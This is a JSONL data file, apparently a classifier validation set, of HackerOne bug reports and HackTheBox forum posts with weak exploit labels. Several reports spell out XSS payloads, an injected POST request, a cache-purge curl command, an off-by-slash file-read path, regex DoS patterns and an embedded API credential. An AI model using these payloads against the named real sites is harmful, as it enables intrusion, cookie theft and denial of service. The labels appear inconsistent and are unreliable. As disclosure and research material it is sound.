-{"id": "8e8761aa83450bcd9fdf", "text": "[Missing Encryption of Sensitive Data] Unauthenticated phpinfo()files could lead to ability file read at █████████  [HtUS]\n\n**Description:**\nMany PHP installation tutorials instruct the user to create a PHP file that calls the PHP function 'phpinfo()' for debugging purposes, and various PHP applications may also include such a file by default. By accessing it, a remote attacker can discover a large amount of information about the remote web server configuration to help conduct further attacks, including :\n * root/vps of the web server, operating system and PHP components\n * Details of the PHP configuration\n * Loaded PHP extensions with their configurations\n * Server environment variables.\n\n\n**Proof On Concepts:**\nhttps://███████/info.php\n```\nLinux ███████ 3.10.0-1160.80.1.el7.x86_64 #1 SMP Sat Oct 8 18:13:21 UTC 2022 x86_64\n```\n\n## Impact\n\nThe remote web server contains a PHP script that is prone to an information disclosure attack.\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\nhttps://███████/info.php\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n* Visit the target scope is https://██████████\n * You can used `burp-suite-intruder` for finding sensitive directory\n * And now we found a directory is `info.php`\n * Let's see opened in our browser is directory https://████████/info.php\n * You can see this page can be view without authenticate\n\n## Suggested Mitigation/Remediation Actions\nRemove the affected file(s).\nhttp://php.net/manual/en/function.phpinfo.php", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fcd986a2ac93eff6d5e8", "text": "[Unknown] https://get.ooni.torproject.org/\n\nI am not sure this is in scope, but wanted to let you know\n\nhttps://get.ooni.torproject.org/ has some directory listing with some images there\n\nlike https://get.ooni.torproject.org/lepidopter/current/lepidopter-v1.0.0-armel.img.zip", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "39bbeaa81e7392acf963", "text": "[Improper Access Control - Generic] Accessing unauthorized administration pages and seeing admin password - speakerkit.state.gov\n\n## Summary:\n- I discovered an issue referred to as no-redirect in a subdomain on state.gov.\nWhen you enter the page, it directs you directly to the entrance. When I examined it via burp suite, it gave 302 found, but the homepage data was showing below.\nWhen I tried it as admin, it still gave 302 found, but this time we could see the content of the admin page.\nthis way i was able to see admin user and normal user's info.\nI was also able to perform many transactions.\nuploading files, adding categories and many more.\n\n## Steps To Reproduce:\n1- Login to https://speakerkit.state.gov/\n- and it will throw you to the page named \"spklogin\". Using the find and replace feature on burpsuite, I told it to change all requests that gave 302 found to 200 Ok, and I easily performed my operations.\nYou will be able to do it when you watch the video.\n\n## Supporting Material/References:\nhttps://hackerone.com/reports/1026146\nhttps://hackerone.com/reports/95441\n\n  * [attachment / reference]\n\n{F2078131}\n{F2078132}\n{F2078133}\n\n* [ poc / video]\n████████\n\n## Impact\n\naccess the admin page. unauthorized.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c808f881031888562156", "text": "[Improper Access Control - Generic] Cache purge requests are not authenticated\n\n## Summary:\nAnyone can issue a PURGE request for any resource and invalidate your caches. That can lead to increased bandwidth costs but also potential Denial of Service attacks.\n\n## Steps To Reproduce:\n\n  1. Fetching the resource headers, we can see in the X-Cache that the resource was a HIT with X-Cache-Hits: 5:\nPut the below command in the terminal (this is request):\n# curl -s -D - https://fanout.io -o /dev/null\nHTTP/2 200\nserver: nginx/1.14.0 (Ubuntu)\ncontent-type: text/html; charset=utf-8\nx-frame-options: DENY\nx-content-type-options: nosniff\naccept-ranges: bytes\ndate: Wed, 12 Apr 2023 00:05:08 GMT\nvia: 1.1 varnish\nage: 1215\nx-served-by: cache-maa10224-MAA\nx-cache: HIT\nx-cache-hits: 5\nx-timer: S1681257908.308066,VS0,VE0\nvary: Cookie\ncontent-length: 20567\n\n  2. Then put the below command to purge the cache as an unauthenticated user. And see the result, Status is OK means it successfully deletes the cache without authentication.\n# curl -X PURGE https://fanout.io\n{ \"status\": \"ok\", \"id\": \"10234-1680248948-114138\" }\n\n  3. Now again fire the first command to see the x-cache-hits. See, the x-cache-hits is 1 now.\n# curl -s -D - https://fanout.io -o /dev/null\nHTTP/2 200\nserver: nginx/1.14.0 (Ubuntu)\ncontent-type: text/html; charset=utf-8\nx-frame-options: DENY\nx-content-type-options: nosniff\naccept-ranges: bytes\ndate: Wed, 12 Apr 2023 00:06:01 GMT\nvia: 1.1 varnish\nage: 8\nx-served-by: cache-maa10233-MAA\nx-cache: HIT\nx-cache-hits: 1\nx-timer: S1681257962.998849,VS0,VE1\nvary: Cookie\ncontent-length: 20567\n\n\n## Supporting Material/References:\nHere is attached screenshots.\n\n 1. {F2287583}\n2. {F2287584}\n3. {F2287585}\n\n Also I am putting a reference report link here.\nhttps://hackerone.com/reports/154278\n\n## Impact\n\nThis can lead to increased bandwidth costs and degraded application performance. Allowing anonymous users to purge cache could be used to maliciously degrade performance.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "eaf253aaba6d0cb1fd1a", "text": "What do you folks think of reviving Cosmos?\n\nI'm not Neg, and could never replace them, but there's still a place for enlightened discussion, don't you all think?  I've not been around for a couple of decades, but an older and wiser me sees clearer now than the kid I was did.So let's start there...what would you tell your younger self, given the knowledge you have now?O", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "antionline", "timestamp": "2022-04-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "18424dcef2e9ee64d504", "text": "[Cross-site Scripting (XSS) - Stored] stored cross site scripting in https://██████████\n\nIt was observed that the application is vulnerable to cross-site scripting (XSS). XSS is a type of attack that involves running a malicious scripts on a victim’s browser.\npoc attached\nanother parameter at #1636345\nq_13779\npayload: %22%27%3e%3csvg%2fonload%3dconfirm(666)%3e\n\n## Impact\n\nCookie Stealing - A malicious user can steal cookies and use them to gain access to the application.\nArbitrary requests - An attacker can use XSS to send requests that appear to be from the victim to the web server.\nMalware download - XSS can prompt the user to download malware. Since the prompt looks like a legitimate request from the\nsite, the user may be more likely to trust the request and actually install the malware.\nDefacement - attacker can deface the website usig javascript code.\n\n## System Host(s)\n████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nvideo attached\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6fd04d16311c4bc5e216", "text": "[Information Disclosure] Hacker email disclosed on submission at hackerone hactivity\n\n**Summary:**\nHi security team.\n\nI saw this report(#2134874) yesterday and I found same information disclosure vulnerability in this report: #284143.\n\nCheck video poc inside report which name is (F234106: h1_TabNab.mp4). You can see hacker's mail in pc folders.\n\n██████████\n\nWhen I tried to create an account with this e-mail just to be sure, I received a message that the e-mail address was already used.\n\n## Impact\n\nInformation disclosure", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a472c438257d1d5faff3", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS on promo.indrive.com\n\n## Summary:\nThe functionality on https://promo.indrive.com/promocodes allows drivers to find and activate promocodes. It requires a driver ID. When user activates their promocode, the browser makes a POST request to https://id.indrive.com/api/spreadsheet/promocodes with parameters **id** (driver id) and **activationDate** (the date of the promocode activation). It is possible for an attacker to set parameter **activationDate** value to an XSS payload. When a user inputs the same ID when looking for promocodes, the XSS payload will trigger, executing arbitrary JavaScript code in the victims's browser.\n\n## Steps To Reproduce:\n1. Make a POST request to https://id.indrive.com/api/spreadsheet/promocodes with the following body: \n```\n{\"id\":\"4\",\"activationDate\":\"<script>alert(1)</script>\"}\n```\n{F2470829}\nThe driver ID value of **4** is used, but the attacker can enumerate through valid driver IDs to inject the payload into every user's promocode.\n2. Go to https://promo.indrive.com/promocodes\n3. Input a driver ID (in my example **4**) and click \"Проверить ID\". The XSS payload will be triggered\n{F2470832}\n\n\n## Supporting Material/References:\nFull POST Request:\n```\nPOST /api/spreadsheet/promocodes HTTP/1.1\nHost: id.indrive.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nContent-Length: 55\nOrigin: https://promo.indrive.com\nReferer: https://promo.indrive.com/\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-site\nTe: trailers\nConnection: close\n\n{\"id\":\"4\",\"activationDate\":\"<script>alert(1)</script>\"}\n```\n\n## Impact\n\nThis vulnerability allows an attacker to execute arbitrary JavaScript code in any user's browser.\nDespite this being a retired functionality, an attacker could trick users to try and get a promocode.\nThis could also potentially make promocodes usable infinite amount of times by directly making POST requests to renew the code every 24 hours.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "520133a0401451c88983", "text": "By following the password requirements and applying RegEx-Filters on Rockyou30, not a single compliant password is left in this list. I am supposed to use Rockyou30 for this task, but this password list is not consistent with these password policies.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7b1d9fee5c8f2f2267b8", "text": "I need some help, to making the wordlist of Harry. Do I need to know a lot about of the harry potter movies/books to generate the right wordlist? Or not? Do I need use the “interactive” mode of cupp for generate the right wordlist? Becuase I don’t know much about Harry Potter and I’m stuck in the wordlist, I can’t get a wordlist with 13k line of length.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b1c40a467be60d40706c", "text": "im horribly stuck on this also i did setup the loop at 0…27 and the converted base64 has a wordcount of 34071 am i on the right path for that component? when i assign this number to the salt variable and run the script im getting error bad decrypt 140171867060112:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:evp_enc.c:618: any clues would be great", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-04-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6e8d945cc0d9dadffdbb", "text": "Getting started | privilege escalation | quick solve Step 6: use this command to view the /flag.txt file example; cat flag.txt Hi, I’ve got one question? have you ever tried this yourself? because this → “Step 6: use this command to view the /flag.txt fileexample; cat flag.txt” does not work. regards SORRY - DISREGARD PLEASE", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-04-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5adadf8026a3836e7e35", "text": "[Improper Access Control - Generic] Possible to make restricted files public on Phabricator via Diffusion\n\nFiles on Phabricator are always viewable to a user if they are attached to an object that they can view. It seems Phabricator does check if you can view a file before allowing you to a attach it. If you don't have access to the file, it will just look like this {F99999999999} in plaintext. It seems Phabricator does not do this check when creating commits in Differential repositories. This means you make a restricted file public simply by including the syntax to attach the file in the commit message which will then by synced to Phabricator, causing the file to be made public regardless of whether you had access in the first place. It is possible to find a restricted file simply by enumeration.\n\nFile \"Can View\" is set to Administrator:\nF1718695\nHowever the file is in the commit and viewable:\nF1718696\nUser is not an Administrator:\nF1718697\n\n## Impact\n\nGain access to restricted file objects.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b0fb3dd4248a4be93bd9", "text": "[Privilege Escalation] Bypass report submit restriction/ban using the API key\n\n#Description:\n\n* Banned researcher allows to submit reports through the API key, when user ban reports on his account he can't submit any reports to any programs until his ban time is gone, I was able to submit the report through the API key\n\n##Steps to reproduce:\n\n* I contacted the support then they banned my account to send reports as shown below:\n\n{F2531260}\n\n* Then after they banned my account I wasn't able to send any report also when I create directly from the request I receives 403 forbidden\n\n* I go to create a sandbox program and API key:\n\n{F2531264}\n\n{F2531263}\n\n* I navigate to the documentation:\n\nhttps://api.hackerone.com/hacker-resources/#reports-create-report\n\n* So after creating the API key using the below request/command I was able to submit the reports to any program without any restrictions on reports\n\n```bash\ncurl \"https://api.hackerone.com/v1/hackers/reports\"   -X POST   -u \"testhackerone-creative:pYnONekvxUTvHbKF7Jp64qh9STIhhdXvKmefWOeR8YU=\"   -H 'Content-Type: application/json'   -H 'Accept: application/json'   -d @- <<EOD\n{\n  \"data\": {\n    \"type\": \"report\",\n    \"attributes\": {\n      \"team_handle\": \"HackerOne-test_h1b\",\n      \"title\": \"string\",\n      \"vulnerability_information\": \"test tst tst\",\n      \"impact\": \"tst tst\",\n      \"severity_rating\": \"none\",\n      \"weakness_id\": 1\n    }\n  }\n}\nEOD\n```\n\n* And here the report has been sent:\n\n{F2531274}\n\n* Also here I reported a report to a real program I picked Sony for test report but I'm sorry for submitting test report to the program and to the team please accept my apologies\n\n{F2531276}\n\n* Also for more confirmation if you need me to send a report to HackerOne as more proof please request\n\nThanks, Have a great day,\n\nlight3r, mrmax4o4\n\n## Impact\n\nAn banned reports researcher have the ability to send report after he banned from HackerOne that's allow him to bypass the reports restrictions, also he banned for his behavior so he may send a high volume of reports to a lot of teams without any restriction this after he bypass the first ban and reports submission restriction as shown above and submit the reports through the API instead of the GraphQL", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3c1d365acbc1e76a9466", "text": "[Cross-site Scripting (XSS) - Stored] XSS and HTML Injection on the pressable.com search box\n\n## Summary:\nHi, I have found that search box  on pressable.com is vulnerable for XSS attack and HTML Injection .\n\n## Steps To Reproduce:\n\n1. Visit https://pressable.com/knowledgebase/\n2. Put the payload on the search box. \n\nXSS Payload: \"><img src=x onerror=javascript:alert(document.cookie)>\n\nHTML Injection Payload: <h1><font Color=red>Visit  Our  New  WebSite </h1><h3><mark><a href=\"https://example.com\">e x a m p l e . c o m </a></mark></h3>\n\n3.XSS will be triggered /HTML Injection will be reflected.\n\nLink with XSS Payload: [https://pressable.com/?s=%22%3E%3Cimg+src%3Dx+onerror%3Djavascript%3Aalert%28document.cookie%29%3E&post_type=knowledgebase](https://pressable.com/?s=%22%3E%3Cimg+src%3Dx+onerror%3Djavascript%3Aalert%28document.cookie%29%3E&post_type=knowledgebase)\n\nLink with HTML Injection Payload: [https://pressable.com/?s=%3Ch1%3E%3Cfont+Color%3Dred%3EVisit++Our++New++WebSite+%3C%2Fh1%3E%3Ch3%3E%3Cmark%3E%3Ca+href%3D%22https%3A%2F%2Fexample.com%22%3Ee+x+a+m+p+l+e+.+c+o+m+%3C%2Fa%3E%3C%2Fmark%3E%3C%2Fh3%3E&post_type=knowledgebase](https://pressable.com/?s=%3Ch1%3E%3Cfont+Color%3Dred%3EVisit++Our++New++WebSite+%3C%2Fh1%3E%3Ch3%3E%3Cmark%3E%3Ca+href%3D%22https%3A%2F%2Fexample.com%22%3Ee+x+a+m+p+l+e+.+c+o+m+%3C%2Fa%3E%3C%2Fmark%3E%3C%2Fh3%3E&post_type=knowledgebase)\n\n## Supporting Material/References:\nPOC Video Attached\n\n## Impact\n\nDue to these vulnerabilities, attacker can easily divert victims to their malicious site and able to get credentials of victims.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6417854955145b78fa28", "text": "Why you Should Hire Dedicated Ecommerce Developer?\n\n\tDiscussion in 'e-Commerce' started by carolrobertjoan, Apr 28, 2016.\n\nThanks for this interesting information!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "go4expert", "timestamp": "2022-08-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3ddc709024927196ac4d", "text": "[Cross-site Scripting (XSS) - Generic] xss on reset password page\n\ntarget:https://█████/Default.aspx?TabId=81&ctl=SendPassword&returnurl=%252fUOTSHelpDesk\n\nWhen a user goes on the forget password page and enters a username it is reflected onto the page. An attacker could simply enter a username like <script>alert(1)</script> and it would execute an alert not to mention there is no csrf protection allowing a attacker to possibly chain csrf with this and cause alot of harm.\n\n\nreferences:\nhttps://owncloud.com/security-advisories/reflected-xss-in-login-page-forgot-password-functionallity/\nhttps://hackerone.com/reports/125059\n\n## Impact\n\nan attacker could steal cookies from a user social engineer them or redirect them\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\ngo to https://████/Default.aspx?TabId=81&ctl=SendPassword&returnurl=%252fUOTSHelpDesk\nenter a payload in username field\n\n## Suggested Mitigation/Remediation Actions\nput a character limit and sanitize user input", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d5bcbbd852ffa6494418", "text": "Just so its 100% clear: The question regarding the name of the image file (w/ hint: file.jpg) utilizes the Wireshark-Lab-2.pcap file. The question regarding the name of the user who is acting maliciously utilizes the packet capture data from the target device you spawn and then rdp into the capture VM. Do not mix them up, and be aware that these two questions use different resources for their answer.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-09-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fc715c901989eab06ea6", "text": "I still do not understand how it works, could you explain it more? I have no idea what I should add what in my modified code. Thanks a lot", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-06-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4cde88042c5490fb4c2c", "text": "It probably will take forever if you’re using the /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt . Consider using wordlists that are using common names. If the wordlist is sorted alphabetically, the hit will be near the bottom…not a big fan of how long to wait on some of these assessments.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-01-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "216217972c4b1b344834", "text": "How has this not been seen yet? I’m in. I’m pretty new but learning quickly. Been doing this and tryhackme for several months now. I have a pretty busy work week but I’d love to do stuff like this to learn faster. Hit me up on DMs if you’re interested.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-04-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "40203924a1b7a726fb5a", "text": "[Code Injection] RCE vulnerability in apache-airflow-providers-apache-sqoop 3.1.0\n\nIn airflow.providers.apache.sqoop.hooks.sqoop.SqoopHook._prepare_command, users can control -libjars through libjars in Connection. -libjars makes sure each MR task gets these jars in classpath, So I can set this as a malicious Jar package, causing arbitrary system commands to be executed on the machine performing the MR task.\n\nThis is a screenshot of my email reporting this vulnerability\n██████████\n\n## Impact\n\nRemote Code Execution", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ea433204c6f33d82b5fe", "text": "Trying to get to flag4. I uploaded a WAR webshell to Tomcat via manager panel. It will appear in Application endpoints list, but will not execute. It just gives me a 404 error, even though I’ve completely removed all the authorization logic from the backdoor (IP address check). I tried all path variations like: /cmd, /cmd/cmd.jsp?cmd=, but no luck. I used a webshell from Laudanum directory. Am I doing something wrong? Any other ways to get to tomcat’s user shell ?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-11-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "be41d02d6970856ffb36", "text": "[Information Exposure Through Timing Discrepancy] OpenSSL vulnerable to the Marvin Attack (CVE-2022-4304)\n\nA timing based side channel exists in the OpenSSL RSA Decryption implementation\nwhich could be sufficient to recover a plaintext across a network in a\nBleichenbacher style attack. To achieve a successful decryption an attacker\nwould have to be able to send a very large number of trial messages for\ndecryption. The vulnerability affects all RSA padding modes: PKCS#1 v1.5,\nRSA-OEAP and RSASVE.\n\nThe details of the vulnerability are on the https://people.redhat.com/~hkario/marvin/ page.\nScript to reproduce it: https://github.com/tlsfuzzer/tlsfuzzer/blob/master/scripts/test-bleichenbacher-timing-pregenerate.py\nInstructions to the reproducer: https://tlsfuzzer.readthedocs.io/en/latest/timing-analysis.html\nCredit is acknowledged on the security advisory page: https://www.openssl.org/news/secadv/20230207.txt\n\n## Impact\n\nDecryption of captured RSA ciphertexts and signature forgery for endpoints allowing timing of RSA decryption operation (local or remote).", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2022-4304"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d649014f68fc60402d72", "text": "[Cross-site Scripting (XSS) - Stored] stored cross site scripting in https://███\n\nIt was observed that the application is vulnerable to cross-site scripting (XSS). XSS is a type of attack that involves running a malicious scripts on a victim’s browser.\npoc attached\nanother parameter at #1636345\nq_21655\n\n## Impact\n\nCookie Stealing - A malicious user can steal cookies and use them to gain access to the application.\nArbitrary requests - An attacker can use XSS to send requests that appear to be from the victim to the web server.\nMalware download - XSS can prompt the user to download malware. Since the prompt looks like a legitimate request from the\nsite, the user may be more likely to trust the request and actually install the malware.\nDefacement - attacker can deface the website usig javascript code.\n\n## System Host(s)\n████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nvideo attached\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cd8ad5569734c01eaf60", "text": "[Unknown] Double forward slash breaks server-side restrictions & allows access to prohibited services from a partner account\n\nHi Team,\n\nThere appears to be a weird bug here. Making an API call to the prohibited endpoint appended with double/multiple slash is breaking some server-side restrictions imposed upon a partner account.\n\n**Example** - In the present scenario, Autorebates facility is unavailable to the partners from India. When a direct request is made to the autorebates API endpoint, the application throws `HTTP/2 403 Forbidden`. However, when the similar request is made with double forward slash appended at the beginning, the application successfully processes the request. This effectively gives unrestricted access to the Autorebates facility which otherwise is strictly not available to a partner account from India.\n\n\n#Steps to Reproduce\n\nThe below sample request (appended with double forward slash) attempts to create a client group with set rebate percentage under a partner account which do not have access to the autorebates facility. All requests appended with double forward slash breaks the server-side restriction and easily go through from a partner account with no access to the Autorebates facility.\n\n```\nPOST //api/v2/autorebates/groups/ HTTP/2\nHost: my.exnesstrade.pro\nContent-Type: application/json\nAuthorization: JWT xyz\n\n{\n\"group_title\":\"Test\"\n}\n```\n#Proof of Concept\n███\n\n███\n\n███\n\n## Impact\n\nMaking an API call with double/multiple forward slashes breaks the server-side restrictions imposed upon a partner account and allows a partner to have unrestricted access to the autorebates facility.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "dddf2a2ae3a657ffd13c", "text": "[Improper Authentication - Generic] No rate limit leads to spaming post\n\nHey team,\nI found there is no rate limitng in your post which leads to extreme violation of posting like 100 post in one go and no spam bot working to stop \n\n\n#Description of Vulnerability\n\n No rate limit means their is no mechanism to protect against the requests you made in a short frame of time. ... If the repetition doesn't give any error after 50, 100, 1000 repetitions then their will be no rate limit set\n\n#To reproduce\n- Intercept post  using burp\n- see for post which include your title and information it would look like \n   \n{F1311439}\n-Send it to intruder and set position to content lenght only \n- use numberic type with steps of 1 you will get to expolit it \n\n#Poc\n{F1311433}\n{F1311434}\n{F1311435}\n\n\nFor proof - https://www.reddit.com/user/testnsh\n\nRef - #751604 #838572 #297359\n\nSolution use rate limiting which gave a error like 429\n\nAnd its not  like bruteforcing yes it lead to ddos but also messs up with any community\n\nRegards\n@nsh_cysec\n\n## Impact\n\nA attacker can use to spam any community with extreme number of post as he want and no hold back he can use malicious post to encourage more to get more publicity it can be exploited .even your network and Internet connection by taking up a large amount of bandwidth and, sometimes, requiring large amounts of storage space\n\n#How to prevent\n-Define proper rate limiting.\n-Limit payload sizes.\n-Tailor the rate limiting to be match what API methods, clients, or addresses need or should be allowed to get.\n-Add checks on compression ratios.\n-Define limits for container resources.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e7e8a847dc86d9148a03", "text": "I tried all options and receive the error. I enter also listing the files on /var/lib/dpkg/info", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-07-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3acdf9d09819ba0160dc", "text": "[Path Traversal] Off-by-slash vulnerability in nodejs.org and iojs.org\n\nOriginal Report: https://hackerone.com/reports/1631350\nThe reason for submitting this report is written in the comment of the original report.\n\n----\n\n**Summary:** \nConfiguration files for Nginx in nodejs/build repository have multiple off-by-slash misconfigurations. Because nodejs.org and iojs.org are deployed using those files, it is possible for an attacker to gain access to unexpected directories. (**This report is not related to nodejs/node.** Therefore, I understand that this report is not eligible to Bounty.)\n\n**Description:** \nThe following files have multiple off-by-slash misconfigurations.\n- https://github.com/nodejs/build/blob/main/ansible/www-standalone/resources/config/nodejs.org\n- https://github.com/nodejs/build/blob/main/ansible/www-standalone/resources/config/iojs.org\n\nFor example, the following `/metrics` endpoint has no trailing slash, while the alias parameter has a trailing slash.\n```\n    location /metrics {\n        alias /home/dist/metrics/;\n        autoindex on;\n        default_type text/plain;\n    }\n```\nThe setting as above is commonly known as an off-by-slash misconfiguration.\nIn this case, an attacker can access files in `/home/dist` directory via `/metrics../` endpoint.\n\n## Steps To Reproduce:\nFor example, you can browse the contents of `/home/dist/.bashrc` by accessing `https://nodejs.org/metrics../.bashrc`.\n\n## Impact: \nIf sensitive files exist in the dist user's home directory, it is possible for an attacker to view their contents.\n\n## Supporting Material/References:\n* https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf\n\n## Impact\n\nAn attacker can access files in the /home/dist directory of the nodejs.org and iojs.org servers.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2ccb87949751e455dc01", "text": "Yes, I am also stuck at flag4. I pivoted to user Barry, who is adm group member. Found nothing in the logs. To read flag4, tomcat user privileges are required. I have no idea where to go from here. Pivot to tomcat service role?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4333b9b8f3a3e7b1dba5", "text": "[Uncontrolled Resource Consumption] Regexes with large repetitions on empty sub-expressions take a very long time to parse\n\nRust's regex crate guarantees a linear time complexity with regex length for compilation of untrusted regexes. However, existing mitigations for known malicious regexes are based on memory usage and, as such, do not mitigate repetitions of empty sub-expressions. For example, the following payload triggers such an issue:\n\n```re\n(?:){4294967295}\n```\n\nThis will cause the regex compiler to attempt to create 4294967295 instances of an empty sub-expression, which will ultimately allocate zero bytes and therefore bypass existing memory-based mitigations. This can be further weaponised to create an exponential time complexity with regex length by using repetitions of repetitions, e.g.:\n\n```re\n(?:){64}{64}{64}{64}{64}{64}\n```\n\nThis payload would cause the regex compiler to attempt to create 64^6 instances of an empty sub-expression.\n\n## Impact\n\nAn attacker can induce a CPU time-based denial of service with effectively infinite CPU time, which would cause the service to become entirely unavailable.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
